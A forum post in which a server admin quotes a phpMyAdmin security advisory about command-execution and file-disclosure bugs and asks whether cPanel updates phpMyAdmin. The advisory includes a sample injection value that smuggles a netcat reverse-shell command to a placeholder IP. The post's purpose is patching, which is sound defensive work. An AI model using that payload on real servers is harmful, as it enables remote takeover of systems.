I closely watch VulnWatch for anything exploitable on any of the servers I admin. I noticed that phpMyAdmin popped up today.

Technical details :
===================

Command execution :

- bug introduced in 2.6.0-pl2
- attacker does *not* need access to the phpMyAdmin interface
- PHP safe mode must be off
- external transformations must be activated
- sample of offensive value : F';nc -e /bin/sh $IP 80;echo 'A

File disclosure :

- attacker need access to the phpMyAdmin interface
- PHP safe mode must be off
- $cfg['UploadDir'] must be defined
- exploitation is done via 'sql_localfile'


Vendor Response :
=================

After notification by Exaprobe, maintainers of the phpMyAdmin
project have released version 2.6.1-rc1 which fixes these two
vulnerabilities.


Recommendation :
================

Upgrade to 2.6.1-rc1 or newer.
Desactivate uploads and transformations if possible.


Is phpmyadmin something that updates with our cpanel? I notice that my version is actually exploitable according to a version check.